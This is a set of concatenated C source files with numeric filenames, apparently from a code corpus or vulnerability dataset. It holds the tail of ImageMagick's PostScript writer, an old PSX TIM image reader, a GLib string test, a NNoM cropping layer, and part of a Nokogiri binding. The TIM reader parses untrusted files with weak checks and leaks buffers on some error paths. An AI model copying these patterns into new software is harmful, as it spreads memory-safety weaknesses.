pixel=ClampToQuantum(GetPixelLuma(image,p)); if (pixel >= (Quantum) (QuantumRange/2)) byte|=0x01; bit++; if (bit == 8) { q=PopHexPixel(hex_digits,byte,q); if ((q-pixels+8) >= 80) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); q=pixels; (void) WriteBlobString(image,"% "); }; bit=0; byte=0; } } if (bit != 0) { byte<<=(8-bit); q=PopHexPixel(hex_digits,byte,q); if ((q-pixels+8) >= 80) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); q=pixels; (void) WriteBlobString(image,"% "); }; }; } if (q != pixels) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); } (void) WriteBlobString(image,"\n%%EndPreview\n"); preview_image=DestroyImage(preview_image); } /* Output Postscript commands. */ (void) WriteBlob(image,sizeof(PostscriptProlog)-1, (const unsigned char *) PostscriptProlog); value=GetImageProperty(image,"label"); if (value != (const char *) NULL) { (void) WriteBlobString(image, " /Times-Roman findfont pointsize scalefont setfont\n"); for (j=(ssize_t) MultilineCensus(value)-1; j >= 0; j--) { (void) WriteBlobString(image," /label 512 string def\n"); (void) WriteBlobString(image, " currentfile label readline pop\n"); (void) FormatLocaleString(buffer,MaxTextExtent, " 0 y %g add moveto label show pop\n",j*pointsize+12); (void) WriteBlobString(image,buffer); } } (void) WriteBlob(image,sizeof(PostscriptEpilog)-1, (const unsigned char *) PostscriptEpilog); if (LocaleCompare(image_info->magick,"PS") == 0) (void) WriteBlobString(image," showpage\n"); (void) WriteBlobString(image,"} bind def\n"); (void) WriteBlobString(image,"%%EndProlog\n"); } (void) FormatLocaleString(buffer,MaxTextExtent,"%%%%Page: 1 %.20g\n", (double) (page++)); (void) WriteBlobString(image,buffer); (void) FormatLocaleString(buffer,MaxTextExtent, "%%%%PageBoundingBox: %.20g %.20g %.20g %.20g\n",(double) geometry.x, (double) geometry.y,geometry.x+(double) geometry.width,geometry.y+(double) (geometry.height+text_size)); (void) WriteBlobString(image,buffer); if ((double) geometry.x < bounds.x1) bounds.x1=(double) geometry.x; if ((double) geometry.y < bounds.y1) bounds.y1=(double) geometry.y; if ((double) (geometry.x+geometry.width-1) > bounds.x2) bounds.x2=(double) geometry.x+geometry.width-1; if ((double) (geometry.y+(geometry.height+text_size)-1) > bounds.y2) bounds.y2=(double) geometry.y+(geometry.height+text_size)-1; value=GetImageProperty(image,"label"); if (value != (const char *) NULL) (void) WriteBlobString(image,"%%%%PageResources: font Times-Roman\n"); if (LocaleCompare(image_info->magick,"PS") != 0) (void) WriteBlobString(image,"userdict begin\n"); (void) WriteBlobString(image,"DisplayImage\n"); /* Output image data. */ (void) FormatLocaleString(buffer,MaxTextExtent,"%.20g %.20g\n%g %g\n%g\n", (double) geometry.x,(double) geometry.y,scale.x,scale.y,pointsize); (void) WriteBlobString(image,buffer); labels=(char **) NULL; value=GetImageProperty(image,"label"); if (value != (const char *) NULL) labels=StringToList(value); if (labels != (char **) NULL) { for (i=0; labels[i] != (char *) NULL; i++) { (void) FormatLocaleString(buffer,MaxTextExtent,"%s \n", labels[i]); (void) WriteBlobString(image,buffer); labels[i]=DestroyString(labels[i]); } labels=(char **) RelinquishMagickMemory(labels); } (void) memset(&pixel,0,sizeof(pixel)); pixel.opacity=(Quantum) TransparentOpacity; index=(IndexPacket) 0; x=0; if ((image_info->type != TrueColorType) && (SetImageGray(image,&image->exception) != MagickFalse)) { if (SetImageMonochrome(image,&image->exception) == MagickFalse) { Quantum pixel; /* Dump image as grayscale. */ (void) FormatLocaleString(buffer,MaxTextExtent, "%.20g %.20g\n1\n1\n1\n8\n",(double) image->columns,(double) image->rows); (void) WriteBlobString(image,buffer); q=pixels; for (y=0; y < (ssize_t) image->rows; y++) { p=GetVirtualPixels(image,0,y,image->columns,1, &image->exception); if (p == (const PixelPacket *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { pixel=(Quantum) ScaleQuantumToChar(ClampToQuantum( GetPixelLuma(image,p))); q=PopHexPixel(hex_digits,(size_t) pixel,q); if ((q-pixels+8) >= 80) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); q=pixels; } p++; } if (image->previous == (Image *) NULL) { status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,image->rows); if (status == MagickFalse) break; } } if (q != pixels) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); } } else { ssize_t y; Quantum pixel; /* Dump image as bitmap. */ (void) FormatLocaleString(buffer,MaxTextExtent, "%.20g %.20g\n1\n1\n1\n1\n",(double) image->columns,(double) image->rows); (void) WriteBlobString(image,buffer); q=pixels; for (y=0; y < (ssize_t) image->rows; y++) { p=GetVirtualPixels(image,0,y,image->columns,1, &image->exception); if (p == (const PixelPacket *) NULL) break; indexes=GetVirtualIndexQueue(image); bit=0; byte=0; for (x=0; x < (ssize_t) image->columns; x++) { byte<<=1; pixel=ClampToQuantum(GetPixelLuma(image,p)); if (pixel >= (Quantum) (QuantumRange/2)) byte|=0x01; bit++; if (bit == 8) { q=PopHexPixel(hex_digits,byte,q); if ((q-pixels+2) >= 80) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); q=pixels; }; bit=0; byte=0; } p++; } if (bit != 0) { byte<<=(8-bit); q=PopHexPixel(hex_digits,byte,q); if ((q-pixels+2) >= 80) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); q=pixels; } }; if (image->previous == (Image *) NULL) { status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,image->rows); if (status == MagickFalse) break; } } if (q != pixels) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); } } } else if ((image->storage_class == DirectClass) || (image->colors > 256) || (image->matte != MagickFalse)) { /* Dump DirectClass image. */ (void) FormatLocaleString(buffer,MaxTextExtent,"%.20g %.20g\n0\n%d\n", (double) image->columns,(double) image->rows, compression == RLECompression ? 1 : 0); (void) WriteBlobString(image,buffer); switch (compression) { case RLECompression: { /* Dump runlength-encoded DirectColor packets. */ q=pixels; for (y=0; y < (ssize_t) image->rows; y++) { p=GetVirtualPixels(image,0,y,image->columns,1, &image->exception); if (p == (const PixelPacket *) NULL) break; pixel=(*p); length=255; for (x=0; x < (ssize_t) image->columns; x++) { if ((GetPixelRed(p) == pixel.red) && (GetPixelGreen(p) == pixel.green) && (GetPixelBlue(p) == pixel.blue) && (GetPixelOpacity(p) == pixel.opacity) && (length < 255) && (x < (ssize_t) (image->columns-1))) length++; else { if (x > 0) { WriteRunlengthPacket(image,pixel,length,p); if ((q-pixels+10) >= 80) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); q=pixels; } } length=0; } pixel=(*p); p++; } WriteRunlengthPacket(image,pixel,length,p); if ((q-pixels+10) >= 80) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); q=pixels; } if (image->previous == (Image *) NULL) { status=SetImageProgress(image,SaveImageTag, (MagickOffsetType) y,image->rows); if (status == MagickFalse) break; } } if (q != pixels) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); } break; } case NoCompression: default: { /* Dump uncompressed DirectColor packets. */ q=pixels; for (y=0; y < (ssize_t) image->rows; y++) { p=GetVirtualPixels(image,0,y,image->columns,1, &image->exception); if (p == (const PixelPacket *) NULL) break; for (x=0; x < (ssize_t) image->columns; x++) { if ((image->matte != MagickFalse) && (GetPixelOpacity(p) == (Quantum) TransparentOpacity)) { q=PopHexPixel(hex_digits,0xff,q); q=PopHexPixel(hex_digits,0xff,q); q=PopHexPixel(hex_digits,0xff,q); } else { q=PopHexPixel(hex_digits,ScaleQuantumToChar( GetPixelRed(p)),q); q=PopHexPixel(hex_digits,ScaleQuantumToChar( GetPixelGreen(p)),q); q=PopHexPixel(hex_digits,ScaleQuantumToChar( GetPixelBlue(p)),q); } if ((q-pixels+6) >= 80) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); q=pixels; } p++; } if (image->previous == (Image *) NULL) { status=SetImageProgress(image,SaveImageTag, (MagickOffsetType) y,image->rows); if (status == MagickFalse) break; } } if (q != pixels) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); } break; } } (void) WriteBlobByte(image,'\n'); } else { /* Dump PseudoClass image. */ (void) FormatLocaleString(buffer,MaxTextExtent, "%.20g %.20g\n%d\n%d\n0\n",(double) image->columns,(double) image->rows,image->storage_class == PseudoClass ? 1 : 0, compression == RLECompression ? 1 : 0); (void) WriteBlobString(image,buffer); /* Dump number of colors and colormap. */ (void) FormatLocaleString(buffer,MaxTextExtent,"%.20g\n",(double) image->colors); (void) WriteBlobString(image,buffer); for (i=0; i < (ssize_t) image->colors; i++) { (void) FormatLocaleString(buffer,MaxTextExtent,"%02X%02X%02X\n", ScaleQuantumToChar(image->colormap[i].red), ScaleQuantumToChar(image->colormap[i].green), ScaleQuantumToChar(image->colormap[i].blue)); (void) WriteBlobString(image,buffer); } switch (compression) { case RLECompression: { /* Dump runlength-encoded PseudoColor packets. */ q=pixels; for (y=0; y < (ssize_t) image->rows; y++) { p=GetVirtualPixels(image,0,y,image->columns,1, &image->exception); if (p == (const PixelPacket *) NULL) break; indexes=GetVirtualIndexQueue(image); index=GetPixelIndex(indexes); length=255; for (x=0; x < (ssize_t) image->columns; x++) { if ((index == GetPixelIndex(indexes+x)) && (length < 255) && (x < ((ssize_t) image->columns-1))) length++; else { if (x > 0) { q=PopHexPixel(hex_digits,(size_t) index,q); q=PopHexPixel(hex_digits,(size_t) MagickMin(length,0xff),q); i++; if ((q-pixels+6) >= 80) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); q=pixels; } } length=0; } index=GetPixelIndex(indexes+x); pixel.red=GetPixelRed(p); pixel.green=GetPixelGreen(p); pixel.blue=GetPixelBlue(p); pixel.opacity=GetPixelOpacity(p); p++; } q=PopHexPixel(hex_digits,(size_t) index,q); q=PopHexPixel(hex_digits,(size_t) MagickMin(length,0xff),q); if ((q-pixels+6) >= 80) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); q=pixels; } if (image->previous == (Image *) NULL) { status=SetImageProgress(image,SaveImageTag, (MagickOffsetType) y,image->rows); if (status == MagickFalse) break; } } if (q != pixels) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); } break; } case NoCompression: default: { /* Dump uncompressed PseudoColor packets. */ q=pixels; for (y=0; y < (ssize_t) image->rows; y++) { p=GetVirtualPixels(image,0,y,image->columns,1, &image->exception); if (p == (const PixelPacket *) NULL) break; indexes=GetVirtualIndexQueue(image); for (x=0; x < (ssize_t) image->columns; x++) { q=PopHexPixel(hex_digits,(size_t) GetPixelIndex( indexes+x),q); if ((q-pixels+4) >= 80) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); q=pixels; } p++; } if (image->previous == (Image *) NULL) { status=SetImageProgress(image,SaveImageTag, (MagickOffsetType) y,image->rows); if (status == MagickFalse) break; } } if (q != pixels) { *q++='\n'; (void) WriteBlob(image,q-pixels,pixels); } break; } } (void) WriteBlobByte(image,'\n'); } if (LocaleCompare(image_info->magick,"PS") != 0) (void) WriteBlobString(image,"end\n"); (void) WriteBlobString(image,"%%PageTrailer\n"); if (GetNextImageInList(image) == (Image *) NULL) break; image=SyncNextImageInList(image); status=SetImageProgress(image,SaveImagesTag,scene++,imageListLength); if (status == MagickFalse) break; } while (image_info->adjoin != MagickFalse); (void) WriteBlobString(image,"%%Trailer\n"); if (page > 2) { (void) FormatLocaleString(buffer,MaxTextExtent, "%%%%BoundingBox: %.20g %.20g %.20g %.20g\n",ceil(bounds.x1-0.5), ceil(bounds.y1-0.5),floor(bounds.x2+0.5),floor(bounds.y2+0.5)); (void) WriteBlobString(image,buffer); (void) FormatLocaleString(buffer,MaxTextExtent, "%%%%HiResBoundingBox: %g %g %g %g\n",bounds.x1,bounds.y1, bounds.x2,bounds.y2); (void) WriteBlobString(image,buffer); } (void) WriteBlobString(image,"%%EOF\n"); (void) CloseBlob(image); return(MagickTrue); }
387723.c
/* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % TTTTT IIIII M M % % T I MM MM % % T I M M M % % T I M M % % T IIIII M M % % % % % % Read PSX TIM Image Format. % % % % Software Design % % John Cristy % % July 1992 % % % % % % Copyright 1999-2007 ImageMagick Studio LLC, a non-profit organization % % dedicated to making software imaging solutions freely available. % % % % You may not use this file except in compliance with the License. You may % % obtain a copy of the License at % % % % http://www.imagemagick.org/script/license.php % % % % Unless required by applicable law or agreed to in writing, software % % distributed under the License is distributed on an "AS IS" BASIS, % % WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. % % See the License for the specific language governing permissions and % % limitations under the License. % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % */ /* Include declarations. */ #include "magick/studio.h" #include "magick/blob.h" #include "magick/blob-private.h" #include "magick/exception.h" #include "magick/exception-private.h" #include "magick/image.h" #include "magick/image-private.h" #include "magick/list.h" #include "magick/magick.h" #include "magick/memory_.h" #include "magick/monitor.h" #include "magick/quantum.h" #include "magick/static.h" #include "magick/string_.h" #include "magick/module.h" /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e a d T I M I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % ReadTIMImage() reads a PSX TIM image file and returns it. It % allocates the memory necessary for the new Image structure and returns a % pointer to the new image. % % Contributed by [email protected]. % % The format of the ReadTIMImage method is: % % Image *ReadTIMImage(const ImageInfo *image_info,ExceptionInfo *exception) % % A description of each parameter follows: % % o image_info: The image info. % % o exception: return any errors or warnings in this structure. % */ static Image *ReadTIMImage(const ImageInfo *image_info,ExceptionInfo *exception) { typedef struct _TIMInfo { unsigned long id, flag; } TIMInfo; TIMInfo tim_info; Image *image; int bits_per_pixel, has_clut; long y; MagickBooleanType status; register IndexPacket *indexes; register long x; register PixelPacket *q; register long i; register unsigned char *p; ssize_t count; unsigned char *tim_data, *tim_pixels; unsigned short word; unsigned long bytes_per_line, height, image_size, pixel_mode, width; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AllocateImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Determine if this is a TIM file. */ tim_info.id=ReadBlobLSBLong(image); do { /* Verify TIM identifier. */ if (tim_info.id != 0x00000010) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); tim_info.flag=ReadBlobLSBLong(image); has_clut=tim_info.flag & (1 << 3) ? 1 : 0; pixel_mode=tim_info.flag & 0x07; switch ((int) pixel_mode) { case 0: bits_per_pixel=4; break; case 1: bits_per_pixel=8; break; case 2: bits_per_pixel=16; break; case 3: bits_per_pixel=24; break; default: bits_per_pixel=4; break; } if (has_clut) { unsigned char *tim_colormap; /* Read TIM raster colormap. */ (void)ReadBlobLSBLong(image); (void)ReadBlobLSBShort(image); (void)ReadBlobLSBShort(image); width=ReadBlobLSBShort(image); height=ReadBlobLSBShort(image); image->columns=width; image->rows=height; if (AllocateImageColormap(image,pixel_mode == 1 ? 256UL : 16UL) == MagickFalse) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); tim_colormap=(unsigned char *) AcquireQuantumMemory(image->colors, 2UL*sizeof(*tim_colormap)); if (tim_colormap == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); count=ReadBlob(image,2*image->colors,tim_colormap); if (count != (ssize_t) (2*image->colors)) ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile"); p=tim_colormap; for (i=0; i < (long) image->colors; i++) { word=(*p++); word|=(unsigned short) (*p++ << 8); image->colormap[i].blue=ScaleCharToQuantum( ScaleColor5to8(1UL*(word >> 10) & 0x1f)); image->colormap[i].green=ScaleCharToQuantum( ScaleColor5to8(1UL*(word >> 5) & 0x1f)); image->colormap[i].red=ScaleCharToQuantum( ScaleColor5to8(1UL*word & 0x1f)); } tim_colormap=(unsigned char *) RelinquishMagickMemory(tim_colormap); } if ((image_info->ping != MagickFalse) && (image_info->number_scenes != 0)) if (image->scene >= (image_info->scene+image_info->number_scenes-1)) break; if (SetImageExtent(image,0,0) == MagickFalse) { InheritException(exception,&image->exception); return(DestroyImageList(image)); } /* Read image data. */ (void) ReadBlobLSBLong(image); (void) ReadBlobLSBShort(image); (void) ReadBlobLSBShort(image); width=ReadBlobLSBShort(image); height=ReadBlobLSBShort(image); image_size=2*width*height; bytes_per_line=width*2; width=(width*16)/bits_per_pixel; tim_data=(unsigned char *) AcquireQuantumMemory(image_size, sizeof(*tim_data)); if (tim_data == (unsigned char *) NULL) ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed"); count=ReadBlob(image,image_size,tim_data); if (count != (ssize_t) (image_size)) ThrowReaderException(CorruptImageError,"InsufficientImageDataInFile"); tim_pixels=tim_data; /* Initialize image structure. */ image->columns=width; image->rows=height; /* Convert TIM raster image to pixel packets. */ switch (bits_per_pixel) { case 4: { /* Convert PseudoColor scanline. */ for (y=(long) image->rows-1; y >= 0; y--) { q=SetImagePixels(image,0,y,image->columns,1); if (q == (PixelPacket *) NULL) break; indexes=GetIndexes(image); p=tim_pixels+y*bytes_per_line; for (x=0; x < ((long) image->columns-1); x+=2) { indexes[x]=(IndexPacket) ((*p) & 0x0f); indexes[x+1]=(IndexPacket) ((*p >> 4) & 0x0f); p++; } if ((image->columns % 2) != 0) { indexes[x]=(IndexPacket) ((*p >> 4) & 0x0f); p++; } if (SyncImagePixels(image) == MagickFalse) break; if ((image->progress_monitor != (MagickProgressMonitor) NULL) && (QuantumTick(y,image->rows) != MagickFalse)) { status=image->progress_monitor(LoadImageTag,y,image->rows, image->client_data); if (status == MagickFalse) break; } } break; } case 8: { /* Convert PseudoColor scanline. */ for (y=(long) image->rows-1; y >= 0; y--) { q=SetImagePixels(image,0,y,image->columns,1); if (q == (PixelPacket *) NULL) break; indexes=GetIndexes(image); p=tim_pixels+y*bytes_per_line; for (x=0; x < (long) image->columns; x++) indexes[x]=(*p++); if (SyncImagePixels(image) == MagickFalse) break; if ((image->progress_monitor != (MagickProgressMonitor) NULL) && (QuantumTick(y,image->rows) != MagickFalse)) { status=image->progress_monitor(LoadImageTag,y,image->rows, image->client_data); if (status == MagickFalse) break; } } break; } case 16: { /* Convert DirectColor scanline. */ for (y=(long) image->rows-1; y >= 0; y--) { p=tim_pixels+y*bytes_per_line; q=SetImagePixels(image,0,y,image->columns,1); if (q == (PixelPacket *) NULL) break; for (x=0; x < (long) image->columns; x++) { word=(*p++); word|=(*p++ << 8); q->blue=ScaleCharToQuantum(ScaleColor5to8((1UL*word >> 10) & 0x1f)); q->green=ScaleCharToQuantum(ScaleColor5to8((1UL*word >> 5) & 0x1f)); q->red=ScaleCharToQuantum(ScaleColor5to8(1UL*word & 0x1f)); q++; } if (SyncImagePixels(image) == MagickFalse) break; if ((image->progress_monitor != (MagickProgressMonitor) NULL) && (QuantumTick(y,image->rows) != MagickFalse)) { status=image->progress_monitor(LoadImageTag,y,image->rows, image->client_data); if (status == MagickFalse) break; } } break; } case 24: { /* Convert DirectColor scanline. */ for (y=(long) image->rows-1; y >= 0; y--) { p=tim_pixels+y*bytes_per_line; q=SetImagePixels(image,0,y,image->columns,1); if (q == (PixelPacket *) NULL) break; for (x=0; x < (long) image->columns; x++) { q->red=ScaleCharToQuantum(*p++); q->green=ScaleCharToQuantum(*p++); q->blue=ScaleCharToQuantum(*p++); q++; } if (SyncImagePixels(image) == MagickFalse) break; if ((image->progress_monitor != (MagickProgressMonitor) NULL) && (QuantumTick(y,image->rows) != MagickFalse)) { status=image->progress_monitor(LoadImageTag,y,image->rows, image->client_data); if (status == MagickFalse) break; } } break; } default: ThrowReaderException(CorruptImageError,"ImproperImageHeader"); } if (image->storage_class == PseudoClass) (void) SyncImage(image); tim_pixels=(unsigned char *) RelinquishMagickMemory(tim_pixels); if (EOFBlob(image) != MagickFalse) { ThrowFileException(exception,CorruptImageError,"UnexpectedEndOfFile", image->filename); break; } /* Proceed to next image. */ tim_info.id=ReadBlobLSBLong(image); if (tim_info.id == 0x00000010) { /* Allocate next image structure. */ AllocateNextImage(image_info,image); if (GetNextImageInList(image) == (Image *) NULL) { image=DestroyImageList(image); return((Image *) NULL); } image=SyncNextImageInList(image); if (image->progress_monitor != (MagickProgressMonitor) NULL) { status=image->progress_monitor(LoadImagesTag,TellBlob(image), GetBlobSize(image),image->client_data); if (status == MagickFalse) break; } } } while (tim_info.id == 0x00000010); CloseBlob(image); return(GetFirstImageInList(image)); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % R e g i s t e r T I M I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % RegisterTIMImage() adds attributes for the TIM image format to % the list of supported formats. The attributes include the image format % tag, a method to read and/or write the format, whether the format % supports the saving of more than one frame to the same file or blob, % whether the format supports native in-memory I/O, and a brief % description of the format. % % The format of the RegisterTIMImage method is: % % unsigned long RegisterTIMImage(void) % */ ModuleExport unsigned long RegisterTIMImage(void) { MagickInfo *entry; entry=SetMagickInfo("TIM"); entry->decoder=(DecodeImageHandler *) ReadTIMImage; entry->description=ConstantString("PSX TIM"); entry->module=ConstantString("TIM"); (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } /* %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % % % % % % U n r e g i s t e r T I M I m a g e % % % % % % % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % UnregisterTIMImage() removes format registrations made by the % TIM module from the list of supported formats. % % The format of the UnregisterTIMImage method is: % % UnregisterTIMImage(void) % */ ModuleExport void UnregisterTIMImage(void) { (void) UnregisterMagickInfo("TIM"); }
560693.c
/* GLIB - Library of useful routines for C programming * Copyright (C) 1995-1997 Peter Mattis, Spencer Kimball and Josh MacDonald * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 02111-1307, USA. */ /* * Modified by the GLib Team and others 1997-1999. See the AUTHORS * file for a list of people on the GLib Team. See the ChangeLog * files for a list of changes. These files are distributed with * GLib at ftp://ftp.gtk.org/pub/gtk/. */ #undef G_LOG_DOMAIN #include <stdio.h> #include <string.h> #include "glib.h" int array[10000]; gboolean failed = FALSE; #define TEST(m,cond) G_STMT_START { failed = !(cond); \ if (failed) \ { if (!m) \ g_print ("\n(%s:%d) failed for: %s\n", __FILE__, __LINE__, ( # cond )); \ else \ g_print ("\n(%s:%d) failed for: %s: (%s)\n", __FILE__, __LINE__, ( # cond ), (gchar*)m); \ } \ else \ g_print ("."); fflush (stdout); \ } G_STMT_END #define C2P(c) ((gpointer) ((long) (c))) #define P2C(p) ((gchar) ((long) (p))) #define GLIB_TEST_STRING "el dorado " #define GLIB_TEST_STRING_5 "el do" typedef struct { guint age; gchar name[40]; } GlibTestInfo; int main (int argc, char *argv[]) { gchar *string; g_assert (g_strcasecmp ("FroboZZ", "frobozz") == 0); g_assert (g_strcasecmp ("frobozz", "frobozz") == 0); g_assert (g_strcasecmp ("frobozz", "FROBOZZ") == 0); g_assert (g_strcasecmp ("FROBOZZ", "froboz") != 0); g_assert (g_strcasecmp ("", "") == 0); g_assert (g_strcasecmp ("!#%&/()", "!#%&/()") == 0); g_assert (g_strcasecmp ("a", "b") < 0); g_assert (g_strcasecmp ("a", "B") < 0); g_assert (g_strcasecmp ("A", "b") < 0); g_assert (g_strcasecmp ("A", "B") < 0); g_assert (g_strcasecmp ("b", "a") > 0); g_assert (g_strcasecmp ("b", "A") > 0); g_assert (g_strcasecmp ("B", "a") > 0); g_assert (g_strcasecmp ("B", "A") > 0); g_assert(g_strdup(NULL) == NULL); string = g_strdup(GLIB_TEST_STRING); g_assert(string != NULL); g_assert(strcmp(string, GLIB_TEST_STRING) == 0); g_free(string); string = g_strconcat(GLIB_TEST_STRING, NULL); g_assert(string != NULL); g_assert(strcmp(string, GLIB_TEST_STRING) == 0); g_free(string); string = g_strconcat(GLIB_TEST_STRING, GLIB_TEST_STRING, GLIB_TEST_STRING, NULL); g_assert(string != NULL); g_assert(strcmp(string, GLIB_TEST_STRING GLIB_TEST_STRING GLIB_TEST_STRING) == 0); g_free(string); string = g_strdup_printf ("%05d %-5s", 21, "test"); g_assert (string != NULL); g_assert (strcmp(string, "00021 test ") == 0); g_free (string); return 0; }
814425.c
/* * Copyright (c) 2018-2020 * Jianjia Ma * [email protected] * * SPDX-License-Identifier: Apache-2.0 * * Change Logs: * Date Author Notes * 2019-07-23 Jianjia Ma The first version */ #include <stdint.h> #include <string.h> #include <stdbool.h> #include "nnom.h" #include "nnom_local.h" #include "nnom_layers.h" #include "layers/nnom_cropping.h" nnom_layer_t * cropping_s(const nnom_cropping_config_t *config) { nnom_layer_t *layer = Cropping(config->pad); if(layer) layer->config = (void*) config; return layer; } // Cropping layer nnom_layer_t *Cropping(nnom_border_t pad) { nnom_layer_t *layer; // most setting are the same as zero padding layer = ZeroPadding(pad); // now change to cropping layer->type = NNOM_CROPPING; layer->run = cropping_run; layer->build = cropping_build; return layer; } nnom_status_t cropping_build(nnom_layer_t* layer) { nnom_cropping_layer_t *cl = (nnom_cropping_layer_t *)layer; // get the tensor from last layer's output layer->in->tensor = layer->in->hook.io->tensor; // create new tensor for output layer->out->tensor = new_tensor(NNOM_QTYPE_PER_TENSOR, layer->in->tensor->num_dim, tensor_get_num_channel(layer->in->tensor)); // copy then change later. tensor_cpy_attr(layer->out->tensor, layer->in->tensor); // output shape if(layer->in->tensor->dim[1] <= (cl->pad.left + cl->pad.right) || layer->in->tensor->dim[0] <= (cl->pad.top + cl->pad.bottom)) return NN_ARGUMENT_ERROR; layer->out->tensor->dim[0] = layer->in->tensor->dim[0] - (cl->pad.top + cl->pad.bottom); layer->out->tensor->dim[1] = layer->in->tensor->dim[1] - (cl->pad.left + cl->pad.right); layer->out->tensor->dim[2] = layer->in->tensor->dim[2]; return NN_SUCCESS; } nnom_status_t cropping_run(nnom_layer_t * layer) { nnom_cropping_layer_t *cl = (nnom_cropping_layer_t*)layer; #ifdef NNOM_USING_CHW local_cropping_CHW_q7( #else local_cropping_HWC_q7( #endif layer->in->tensor->p_data, layer->in->tensor->dim[1], layer->in->tensor->dim[0], layer->in->tensor->dim[2], cl->pad.top, cl->pad.bottom, cl->pad.left, cl->pad.right, layer->out->tensor->p_data, layer->out->tensor->dim[1], layer->out->tensor->dim[0]); return NN_SUCCESS; }
707387.c
#include <nokogiri.h> VALUE cNokogiriXmlEntityDecl; /* * call-seq: * original_content * * Get the original_content before ref substitution */ static VALUE original_content(VALUE self) { xmlEntityPtr node; Data_Get_Struct(self, xmlEntity, node); if (!node->orig) { return Qnil; } return NOKOGIRI_STR_NEW2(node->orig); } /* * call-seq: * content * * Get the content */ static VALUE get_content(VALUE self) { xmlEntityPtr node; Data_Get_Struct(self, xmlEntity, node); if (!node->content) { return Qnil; } return NOKOGIRI_STR_NEW(node->content, node->length); } /* * call-seq: * entity_type * * Get the entity type */ static VALUE entity_type(VALUE self) { xmlEntityPtr node; Data_Get_Struct(self, xmlEntity, node); return INT2NUM((int)node->etype); } /* * call-seq: * external_id * * Get the external identifier for PUBLIC */ static VALUE external_id(VALUE self) { xmlEntityPtr node; Data_Get_Struct(self, xmlEntity, node); if (!node->ExternalID) { return Qnil; } return NOKOGIRI_STR_NEW2(node->ExternalID); } /* * call-seq: * system_id * * Get the URI for a SYSTEM or PUBLIC Entity */ static VALUE system_id(VALUE self) { xmlEntityPtr node; Data_Get_Struct(self, xmlEntity, node); if (!node->SystemID) { return Qnil; } return NOKOGIRI_STR_NEW2(node->SystemID); } void noko_init_xml_entity_decl() { assert(cNokogiriXmlNode); cNokogiriXmlEntityDecl = rb_define_class_under(mNokogiriXml, "EntityDecl", cNokogiriXmlNode); rb_define_method(cNokogiriXmlEntityDecl, "original_content", original_content, 0); rb_define_method(cNokogiriXmlEntityDecl, "content", get_content, 0); rb_define_method(cNokogiriXmlEntityDecl, "entity_type", entity_type, 0); rb_define_method(cNokogiriXmlEntityDecl, "external_id", external_id, 0); rb_define_method(cNokogiriXmlEntityDecl, "system_id", system_id, 0); rb_const_set(cNokogiriXmlEntityDecl, rb_intern("INTERNAL_GENERAL"), INT2NUM(XML_INTERNAL_GENERAL_ENTITY)); rb_const_set(cNokogiriXmlEntityDecl, rb_intern("EXTERNAL_GENERAL_PARSED"), 